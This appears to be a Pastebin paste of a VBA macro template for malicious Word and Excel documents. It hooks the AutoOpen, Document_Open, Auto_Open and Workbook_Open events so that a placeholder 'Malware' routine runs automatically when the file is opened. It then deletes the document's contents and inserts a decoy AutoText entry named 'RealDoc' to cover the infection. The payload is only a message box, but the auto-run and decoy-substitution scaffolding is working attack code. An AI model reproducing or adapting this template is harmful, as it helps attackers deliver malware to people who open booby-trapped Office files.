Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. Public alreadyLaunched As Integer
  2.  
  3.  
  4. Private Sub Malware()
  5. '
  6. ' ============================================
  7. '
  8. ' Enter here your malware code here.
  9. ' It will be started on auto open surely.
  10. '
  11. ' ============================================
  12.  
  13. MsgBox ("Here comes the malware!")
  14.  
  15. ' ============================================
  16.  
  17. End Sub
  18.  
  19.  
  20. Private Sub Launch()
  21. If alreadyLaunched = True Then
  22. Exit Sub
  23. End If
  24. Malware
  25. SubstitutePage
  26. alreadyLaunched = True
  27. End Sub
  28.  
  29. Private Sub SubstitutePage()
  30. '
  31. ' This routine will take the entire Document's contents,
  32. ' delete them and insert in their place contents defined in
  33. ' INSERT -> Quick Parts -> AutoText -> named as in `autoTextTemplateName`
  34. '
  35. Dim doc As Word.Document
  36. Dim firstPageRange As Range
  37. Dim rng As Range
  38. Dim autoTextTemplateName As String
  39.  
  40. ' This is the name of the defined AutoText prepared in the document,
  41. ' to be inserted in place of previous contents.
  42. autoTextTemplateName = "RealDoc"
  43.  
  44. Set firstPageRange = Word.ActiveDocument.Range
  45. firstPageRange.Select
  46. Selection.WholeStory
  47. Selection.Delete Unit:=wdCharacter, Count:=1
  48.  
  49. Set doc = ActiveDocument
  50. Set rng = doc.Sections(1).Range
  51. doc.AttachedTemplate.AutoTextEntries(autoTextTemplateName).Insert rng, True
  52. doc.Save
  53.  
  54. End Sub
  55.  
  56. Sub AutoOpen()
  57. ' Becomes launched as first on MS Word
  58. Launch
  59. End Sub
  60.  
  61. Sub Document_Open()
  62. ' Becomes launched as second, another try, on MS Word
  63. Launch
  64. End Sub
  65.  
  66. Sub Auto_Open()
  67. ' Becomes launched as first on MS Excel
  68. Launch
  69. End Sub
  70.  
  71. Sub Workbook_Open()
  72. ' Becomes launched as second, another try, on MS Excel
  73. Launch
  74. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement